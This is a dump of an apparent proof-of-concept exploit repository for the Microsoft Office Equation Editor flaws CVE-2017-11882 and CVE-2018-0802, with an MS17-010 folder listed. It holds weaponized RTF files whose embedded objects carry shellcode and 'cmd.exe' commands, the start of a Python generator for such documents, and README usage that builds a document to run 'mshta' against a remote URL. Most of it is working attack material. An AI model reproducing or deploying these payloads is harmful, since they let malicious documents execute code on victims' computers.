├── MS17-010 ├── README.md └── ms17-010.py ├── README.md ├── CVE-2017-11882 ├── README.md ├── samples │ ├── exploit1.rtf │ └── exploit3.rtf ├── Command_CVE_2017-11882_109.py └── Command_CVE-2017-11882.py └── CVE-2018-0802 ├── cve-2018-0802.rtf └── cve-2018-0802_poc.py /MS17-010/README.md: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # POC 2 | -------------------------------------------------------------------------------- /CVE-2017-11882/README.md: -------------------------------------------------------------------------------- 1 | # CVE-2017-11882 2 | ## Reference 3 | https://github.com/embedi/CVE-2017-11882 4 | 5 | https://github.com/unamer/CVE-2017-11882 6 | 7 | # Usage 8 | - cmd 9 | ``` 10 | python Command_CVE-2017-11882.py -c "cmd.exe /c calc.exe" -o test.doc 11 | ``` 12 | - mshta 13 | ``` 14 | python Command_CVE-2017011882.py -c "mshta http://xxx.com/123" -o test.doc 15 | ``` 16 | 123 17 | ``` 18 | 19 | 20 | 21 | 28 | 29 | demo 30 | 31 | 32 | 33 | ``` 34 | 35 | 36 | 37 | -------------------------------------------------------------------------------- /CVE-2017-11882/samples/exploit1.rtf: -------------------------------------------------------------------------------- 1 | {\rtf1\ansi\ansicpg1252\deff0\nouicompat\deflang1033{\fonttbl{\f0\fnil\fcharset0 Calibri;}} 2 | {\*\generator Riched20 6.3.9600}\viewkind4\uc1 3 | \pard\sa200\sl276\slmult1\f0\fs22\lang9{\object\objemb\objupdate{\*\objclass Equation.3}\objw380\objh260{\*\objdata 01050000020000000b0000004571756174696f6e2e33000000000000000000000c0000d0cf11e0a1b11ae1000000000000000000000000000000003e000300feff0900060000000000000000000000010000000100000000000000001000000200000001000000feffffff0000000000000000fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffdffffff04000000fefffffffefffffffeffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff52006f006f007400200045006e00740072007900000000000000000000000000000000000000000000000000000000000000000000000000000000000000000016000500ffffffffffffffff0200000002ce020000000000c0000000000000460000000000000000000000008020cea5613cd30103000000000200000000000001004f006c00650000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000a000201ffffffffffffffffffffffff000000000000000000000000000000000000000000000000000000000000000000000000000000001400000000000000010043006f006d0070004f0062006a00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000120002010100000003000000ffffffff00000000000000000000000000000000000000000000000000000000000000000000000001000000660000000000000003004f0062006a0049006e0066006f0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000012000201ffffffff04000000ffffffff000000000000000000000000000000000000000000000000000000000000000000000000030000000600000000000000feffffff02000000fefffffffeffffff050000000600000007000000feffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff010000020800000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000100feff030a0000ffffffff02ce020000000000c000000000000046170000004d6963726f736f6674204571756174696f6e20332e30000c0000004453204571756174696f6e000b0000004571756174696f6e2e3300f439b2710000000000000000000000000000000000000000000000000000000000000000000000000000000003000400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001c00000002009ec4a900000000000000c8a75c00c4ee5b0000000000030101030a0a01085a5a636d642e657865202f632063616c632e65786520414141414141414141414141414141414141414141414141120c430000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000004500710075006100740069006f006e0020004e00610074006900760065000000000000000000000000000000000000000000000000000000000000000000000020000200ffffffffffffffffffffffff00000000000000000000000000000000000000000000000000000000000000000000000004000000c5000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffffffffffffffffffff0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffffffffffffffffffff0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffffffffffffffffffff00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001050000050000000d0000004d45544146494c4550494354003421000035feffff9201000008003421cb010000010009000003c500000002001c00000000000500000009020000000005000000020101000000050000000102ffffff00050000002e0118000000050000000b0200000000050000000c02a001201e1200000026060f001a00ffffffff000010000000c0ffffffc6ffffffe01d0000660100000b00000026060f000c004d61746854797065000020001c000000fb0280fe0000000000009001000000000402001054696d6573204e657720526f6d616e00feffffff6b2c0a0700000a0000000000040000002d0100000c000000320a600190160a000000313131313131313131310c000000320a6001100f0a000000313131313131313131310c000000320a600190070a000000313131313131313131310c000000320a600110000a000000313131313131313131310a00000026060f000a00ffffffff0100000000001c000000fb021000070000000000bc02000000000102022253797374656d000048008a0100000a000600000048008a01ffffffff7cef1800040000002d01010004000000f0010000030000000000 4 | }{\result{\pict{\*\picprop}\wmetafile8\picw380\pich260\picwgoal380\pichgoal260 5 | 0100090000039e00000002001c0000000000050000000902000000000500000002010100000005 6 | 0000000102ffffff00050000002e0118000000050000000b0200000000050000000c02a0016002 7 | 1200000026060f001a00ffffffff000010000000c0ffffffc6ffffff20020000660100000b0000 8 | 0026060f000c004d61746854797065000020001c000000fb0280fe000000000000900100000000 9 | 0402001054696d6573204e657720526f6d616e00feffffff5f2d0a6500000a0000000000040000 10 | 002d01000009000000320a6001100003000000313131000a00000026060f000a00ffffffff0100 11 | 000000001c000000fb021000070000000000bc02000000000102022253797374656d000048008a 12 | 0100000a000600000048008a01ffffffff6ce21800040000002d01010004000000f00100000300 13 | 00000000 14 | }}} 15 | \par} 16 | -------------------------------------------------------------------------------- /CVE-2018-0802/cve-2018-0802.rtf: -------------------------------------------------------------------------------- 1 | {\rtf1\ansi\ansicpg1252\deff0\nouicompat\deflang1033{\fonttbl{\f0\fnil\fcharset0 Calibri;}} 2 | {\*\generator Riched20 6.3.9600}\viewkind4\uc1 3 | \pard\sa200\sl276\slmult1\f0\fs22\lang9{\object\objemb\objupdate{\*\objclass Equation.3}\objw380\objh260{\*\objdata 01050000020000000b0000004571756174696f6e2e33000000000000000000000c0000d0cf11e0a1b11ae1000000000000000000000000000000003e000300feff0900060000000000000000000000010000000100000000000000001000000200000001000000feffffff0000000000000000fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffdffffff04000000fefffffffefffffffeffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff52006f006f007400200045006e00740072007900000000000000000000000000000000000000000000000000000000000000000000000000000000000000000016000500ffffffffffffffff0200000002ce020000000000c0000000000000460000000000000000000000008020cea5613cd30103000000000200000000000001004f006c00650000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000a000201ffffffffffffffffffffffff000000000000000000000000000000000000000000000000000000000000000000000000000000001400000000000000010043006f006d0070004f0062006a00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000120002010100000003000000ffffffff00000000000000000000000000000000000000000000000000000000000000000000000001000000660000000000000003004f0062006a0049006e0066006f0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000012000201ffffffff04000000ffffffff000000000000000000000000000000000000000000000000000000000000000000000000030000000600000000000000feffffff02000000fefffffffeffffff050000000600000007000000feffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff010000020800000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000100feff030a0000ffffffff02ce020000000000c000000000000046170000004d6963726f736f6674204571756174696f6e20332e30000c0000004453204571756174696f6e000b0000004571756174696f6e2e3300f439b2710000000000000000000000000000000000000000000000000000000000000000000000000000000003000400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001c00000002009ec4a900000000000000c8a75c00c4ee5b0000000000030101030a0a01085a5a33c099b202c1e2082be2e8ffffffffc35b50648b40308b400899b203c1e21066ba120c03c28d5b1c53ffe0636d642e657865202f632063616c632e6578652023202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020250000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000004500710075006100740069006f006e0020004e00610074006900760065000000000000000000000000000000000000000000000000000000000000000000000020000200ffffffffffffffffffffffff00000000000000000000000000000000000000000000000000000000000000000000000004000000c5000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffffffffffffffffffff0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffffffffffffffffffff0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffffffffffffffffffff00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001050000050000000d0000004d45544146494c4550494354003421000035feffff9201000008003421cb010000010009000003c500000002001c00000000000500000009020000000005000000020101000000050000000102ffffff00050000002e0118000000050000000b0200000000050000000c02a001201e1200000026060f001a00ffffffff000010000000c0ffffffc6ffffffe01d0000660100000b00000026060f000c004d61746854797065000020001c000000fb0280fe0000000000009001000000000402001054696d6573204e657720526f6d616e00feffffff6b2c0a0700000a0000000000040000002d0100000c000000320a600190160a000000313131313131313131310c000000320a6001100f0a000000313131313131313131310c000000320a600190070a000000313131313131313131310c000000320a600110000a000000313131313131313131310a00000026060f000a00ffffffff0100000000001c000000fb021000070000000000bc02000000000102022253797374656d000048008a0100000a000600000048008a01ffffffff7cef1800040000002d01010004000000f0010000030000000000 4 | }{\result{\pict{\*\picprop}\wmetafile8\picw380\pich260\picwgoal380\pichgoal260 5 | 0100090000039e00000002001c0000000000050000000902000000000500000002010100000005 6 | 0000000102ffffff00050000002e0118000000050000000b0200000000050000000c02a0016002 7 | 1200000026060f001a00ffffffff000010000000c0ffffffc6ffffff20020000660100000b0000 8 | 0026060f000c004d61746854797065000020001c000000fb0280fe000000000000900100000000 9 | 0402001054696d6573204e657720526f6d616e00feffffff5f2d0a6500000a0000000000040000 10 | 002d01000009000000320a6001100003000000313131000a00000026060f000a00ffffffff0100 11 | 000000001c000000fb021000070000000000bc02000000000102022253797374656d000048008a 12 | 0100000a000600000048008a01ffffffff6ce21800040000002d01010004000000f00100000300 13 | 00000000 14 | }}} 15 | \par} 16 | -------------------------------------------------------------------------------- /CVE-2017-11882/samples/exploit3.rtf: -------------------------------------------------------------------------------- 1 | {\rtf1\ansi\ansicpg1252\deff0\nouicompat\deflang1033{\fonttbl{\f0\fnil\fcharset0 Calibri;}} 2 | {\*\generator Riched20 6.3.9600}\viewkind4\uc1 3 | \pard\sa200\sl276\slmult1\f0\fs22\lang9{\object\objemb\objupdate{\*\objclass Equation.3}\objw380\objh260{\*\objdata 01050000020000000b0000004571756174696f6e2e33000000000000000000000c0000d0cf11e0a1b11ae1000000000000000000000000000000003e000300feff0900060000000000000000000000010000000100000000000000001000000200000001000000feffffff0000000000000000fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffdffffff04000000fefffffffefffffffeffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff52006f006f007400200045006e00740072007900000000000000000000000000000000000000000000000000000000000000000000000000000000000000000016000500ffffffffffffffff0200000002ce020000000000c0000000000000460000000000000000000000008020cea5613cd30103000000000200000000000001004f006c00650000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000a000201ffffffffffffffffffffffff000000000000000000000000000000000000000000000000000000000000000000000000000000001400000000000000010043006f006d0070004f0062006a00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000120002010100000003000000ffffffff00000000000000000000000000000000000000000000000000000000000000000000000001000000660000000000000003004f0062006a0049006e0066006f0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000012000201ffffffff04000000ffffffff000000000000000000000000000000000000000000000000000000000000000000000000030000000600000000000000feffffff02000000fefffffffeffffff050000000600000007000000feffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff010000020800000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000100feff030a0000ffffffff02ce020000000000c000000000000046170000004d6963726f736f6674204571756174696f6e20332e30000c0000004453204571756174696f6e000b0000004571756174696f6e2e3300f439b271000000000000000000000000000000000000000000000000000000000000000000000000000000000300040000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 4 | 1c00000002009ec4a900000000000000c8a75c00c4ee5b0000000000030101030a0a01085a5ab844eb7112ba7856341231d08b088b098b096683c13c31db5351be643e721231d6ff16536683ee4cff109090142140000000636d642e657865202f6320636d642e65786520737461727420636d642e657865202f6320726567656469742e657865202620636d642e657865202f632063616c632e65786500000000000000000000000000000000000000000000000000000000000000000000000000000000 5 | 00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000004500710075006100740069006F006E0020004E00610074006900760065000000000000000000000000000000000000000000000000000000000000000000000020000200FFFFFFFFFFFFFFFFFFFFFFFF00000000000000000000000000000000000000000000000000000000000000000000000004000000C5000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000FFFFFFFFFFFFFFFFFFFFFFFF0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000FFFFFFFFFFFFFFFFFFFFFFFF0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000FFFFFFFFFFFFFFFFFFFFFFFF00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001050000050000000D0000004D45544146494C4550494354003421000035FEFFFF9201000008003421CB010000010009000003C500000002001C00000000000500000009020000000005000000020101000000050000000102FFFFFF00050000002E0118000000050000000B0200000000050000000C02A001201E1200000026060F001A00FFFFFFFF000010000000C0FFFFFFC6FFFFFFE01D0000660100000B00000026060F000C004D61746854797065000020001C000000FB0280FE0000000000009001000000000402001054696D6573204E657720526F6D616E00FEFFFFFF6B2C0A0700000A0000000000040000002D0100000C000000320A600190160A000000313131313131313131310C000000320A6001100F0A000000313131313131313131310C000000320A600190070A000000313131313131313131310C000000320A600110000A000000313131313131313131310A00000026060F000A00FFFFFFFF0100000000001C000000FB021000070000000000BC02000000000102022253797374656D000048008A0100000A000600000048008A01FFFFFFFF7CEF1800040000002D01010004000000F0010000030000000000 6 | }{\result {\rtlch\fcs1 \af0 \ltrch\fcs0 \dn8\insrsid95542\charrsid95542 {\pict{\*\picprop\shplid1025{\sp{\sn shapeType}{\sv 75}}{\sp{\sn fFlipH}{\sv 0}} 7 | {\sp{\sn fFlipV}{\sv 0}}{\sp{\sn fLockAspectRatio}{\sv 1}}{\sp{\sn pictureGray}{\sv 0}}{\sp{\sn pictureBiLevel}{\sv 0}}{\sp{\sn fRecolorFillAsPicture}{\sv 0}}{\sp{\sn fUseShapeAnchor}{\sv 0}}{\sp{\sn fFilled}{\sv 0}}{\sp{\sn fHitTestFill}{\sv 1}} 8 | {\sp{\sn fillShape}{\sv 1}}{\sp{\sn fillUseRect}{\sv 0}}{\sp{\sn fNoFillHitTest}{\sv 0}}{\sp{\sn fLine}{\sv 0}}{\sp{\sn fPreferRelativeResize}{\sv 1}}{\sp{\sn fReallyHidden}{\sv 0}} 9 | {\sp{\sn fScriptAnchor}{\sv 0}}{\sp{\sn fFakeMaster}{\sv 0}}{\sp{\sn fCameFromImgDummy}{\sv 0}}{\sp{\sn fLayoutInCell}{\sv 1}}}\picscalex100\picscaley100\piccropl0\piccropr0\piccropt0\piccropb0 10 | \picw353\pich600\picwgoal200\pichgoal340\wmetafile8\bliptag1846300541\blipupi2307{\*\blipuid 6e0c4f7df03da08a8c6c623556e3c652}0100090000035100000000001200000000000500000009020000000005000000020101000000050000000102ffffff00050000002e0118000000050000000b02 11 | 00000000050000000c02200240011200000026060f001a00ffffffff000010000000c0ffffffaaffffff00010000ca0100000b00000026060f000c004d61746854797065000040000a00000026060f000a00ffffffff010000000000030000000000}}}} 12 | \par} 13 | -------------------------------------------------------------------------------- /CVE-2018-0802/cve-2018-0802_poc.py: -------------------------------------------------------------------------------- 1 | import argparse 2 | 3 | 4 | RTF_HEADER = R"""{\rtf1\ansi\ansicpg1252\deff0\nouicompat\deflang1033{\fonttbl{\f0\fnil\fcharset0 Calibri;}} 5 | {\*\generator Riched20 6.3.9600}\viewkind4\uc1 6 | \pard\sa200\sl276\slmult1\f0\fs22\lang9""" 7 | 8 | 9 | RTF_TRAILER = R"""\par} 10 | """ 11 | 12 | 13 | OBJECT_HEADER = R"""{\object\objemb\objupdate{\*\objclass Equation.3}\objw380\objh260{\*\objdata """ 14 | 15 | 16 | OBJECT_TRAILER = R""" 17 | }{\result{\pict{\*\picprop}\wmetafile8\picw380\pich260\picwgoal380\pichgoal260 18 | 0100090000039e00000002001c0000000000050000000902000000000500000002010100000005 19 | 0000000102ffffff00050000002e0118000000050000000b0200000000050000000c02a0016002 20 | 1200000026060f001a00ffffffff000010000000c0ffffffc6ffffff20020000660100000b0000 21 | 0026060f000c004d61746854797065000020001c000000fb0280fe000000000000900100000000 22 | 0402001054696d6573204e657720526f6d616e00feffffff5f2d0a6500000a0000000000040000 23 | 002d01000009000000320a6001100003000000313131000a00000026060f000a00ffffffff0100 24 | 000000001c000000fb021000070000000000bc02000000000102022253797374656d000048008a 25 | 0100000a000600000048008a01ffffffff6ce21800040000002d01010004000000f00100000300 26 | 00000000 27 | }}} 28 | """ 29 | 30 | 31 | OBJDATA_TEMPLATE = R""" 32 | 01050000020000000b0000004571756174696f6e2e33000000000000000000000c0000d0cf11e0a1 33 | b11ae1000000000000000000000000000000003e000300feff090006000000000000000000000001 34 | 0000000100000000000000001000000200000001000000feffffff0000000000000000ffffffffff 35 | ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff 36 | ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff 37 | ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff 38 | ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff 39 | ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff 40 | ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff 41 | ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff 42 | ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff 43 | ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff 44 | ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff 45 | fffffffffffffffffffffffffffffffffffffffffffffffffffffffdffffff04000000fefffffffe 46 | fffffffeffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff 47 | ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff 48 | ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff 49 | ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff 50 | ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff 51 | ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff 52 | ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff 53 | ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff 54 | ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff 55 | ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff 56 | ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff 57 | ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff 58 | ffffffffffffffffffffffffffffffffffffff52006f006f007400200045006e0074007200790000 59 | 00000000000000000000000000000000000000000000000000000000000000000000000000000000 60 | 00000016000500ffffffffffffffff0200000002ce020000000000c0000000000000460000000000 61 | 000000000000008020cea5613cd30103000000000200000000000001004f006c0065000000000000 62 | 00000000000000000000000000000000000000000000000000000000000000000000000000000000 63 | 00000000000000000000000a000201ffffffffffffffffffffffff00000000000000000000000000 64 | 0000000000000000000000000000000000000000000000000000001400000000000000010043006f 65 | 006d0070004f0062006a000000000000000000000000000000000000000000000000000000000000 66 | 00000000000000000000000000000000000000120002010100000003000000ffffffff0000000000 67 | 00000000000000000000000000000000000000000000000000000000000000010000006600000000 68 | 00000003004f0062006a0049006e0066006f00000000000000000000000000000000000000000000 69 | 00000000000000000000000000000000000000000000000000000012000201ffffffff04000000ff 70 | ffffff00000000000000000000000000000000000000000000000000000000000000000000000003 71 | 0000000600000000000000feffffff02000000fefffffffeffffff050000000600000007000000fe 72 | ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff 73 | ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff 74 | ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff 75 | ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff 76 | ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff 77 | ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff 78 | ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff 79 | ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff 80 | ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff 81 | ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff 